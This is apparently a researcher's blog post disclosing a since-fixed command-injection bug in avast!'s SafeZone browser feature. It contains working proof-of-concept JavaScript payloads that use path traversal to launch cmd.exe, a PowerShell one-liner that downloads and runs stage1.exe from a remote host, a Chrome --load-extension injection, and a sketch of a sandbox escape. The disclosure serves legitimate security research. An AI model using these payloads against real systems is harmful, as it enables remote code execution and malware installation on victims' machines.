Tuesday, July 28, 2015

The avast! Series

I spent some time quite a while ago looking into avast! and, after about a year, I am going to post about the issues that were found, and fixed back then. The whole project was pretty fun, avast! offers a lot of functionalities and as such a ton of components to look into. Identifying the security boundaries and attack surface required a decent understanding of the product: services, opened ports, LPC or RPC interfaces, kernel drivers and their IO controls or filters, browser components, various parsers, "self-defense", etc.

A decent number of issues were found, and Igor and the avast! bug bounty team fixed them promptly, and extensively - I think they did a great job at not concentrating on the specific issues submitted but thinking about the bigger picture, variants and remediation.

I will start with one of the juicier ones, as it allowed RCE from a browser.

avast! Client-Side Remote Code Execution

Summary

Bug type: command injection
Vector: Javascript from browser
Impact: remote code execution within the SafeZone
Verified on: avast! Free AvastUI.exe v9.0.2018.397

Description

avast! offers a SafeZone functionality that creates a separate desktop, and runs processes in a sandboxed environment on this desktop. This SafeZone component comes with a SafeZone Browser that basically is Google Chrome. The SafeZone component is not available in the Free version of avast!, as the browser is not installed, and the UI interface doesn't allow to switch to the SafeZone. Yet, the core functionalities of the SafeZone are present and the SafeZone can be launched, through LPC, the local HTTP Daemon, or browser addons.

There are two issues that can be leveraged to achieve code execution, both of them resulting from an injection in the command line of the SafeZone browser. In order to demonstrate the issue, we will use the avastBHO.SwitchToSafezone API in Javascript for the IE BHO. This is accessible when the extension is enabled (default), and for all websites except a few local exceptions.

Let's start with the Free version of avast!. In this version, the SafeZone browser is not installed, so when trying to switch to the SafeZone, Windows will attempt to parse the command line to find the binary. Here is the output of ProcessMonitor illustrating this:



As you can see, this becomes an issue because each component of the command line will end up being considered a directory at some point. It is trivial to go up in the tree using the usual ..\ sequence:

avastBHO.SwitchToSafezone('\\..\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe')



This will execute directly a cmd.exe in the SafeZone in avast! Free. Now, in order to download and execute something extra, we just need to couple that with a bit of PowerShell (for Windows 7+):

avastBHO.SwitchToSafezone('\\..\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe /c "cd %TEMP%&PowerShell (New-Object System.Net.WebClient).DownloadFile(\'http://192.168.233.1:8001/stage1.exe\',\'stage1.exe\');(New-Object -com Shell.Application).ShellExecute(\'stage1.exe\');"')

This will download and execute stage1.exe, still in the SafeZone. At this point, we can execute whatever we want, but are still restrained to the sandboxed environment of the SafeZone (file system, registry and privileges).

The avastBHO object can become unreachable after some attempts, and IE has to be relaunched.

Escaping the SafeZone

For the sake of completeness, I wrote up a quick SafeZone escape through Windows messages. Doing a CreateProcess from stage1.exe or equivalent still has us stuck in the SafeZone file system. Since we can switch desktop easily, the provided escape just switches back to the Default desktop, pops-up the Windows Run dialog by sending a WM_HOTKEY message, sets the content of the edit box to the command to execute, and presses OK. It can be a bit racey at times, and could use some Q&A, but it's working often enough.


What about Chrome/Firefox/etc?

Extensions for Chrome and Firefox appear to offer the same SwitchToSafezone functionality but I am actually not sure on how to script them or if they are even accessible. Those extensions merely wrap HTTP requests to the local HttpDaemon running in AvastSvc.exe on port 27275, which uses Google's libprotobuf-lite. A switch to SafeZone can be triggered by issuing command 7 to that server, and this vector is also vulnerable to the command injection.

What about non-free versions of avast!?

Now for avast! Premier and other versions including the browser, we cannot use the ..\ trick as it will not succeed since the binary exists, but we can inject an argument to Chrome. The argument that matters is the --load-extension one, which will attempt to load an extension, and accepts UNC paths, for example you can try:

avastBHO.SwitchToSafezone('--load-extension=\\\\127.0.0.1\\malicious')

I haven't pushed the research to writing an actual malicious extension.

No comments: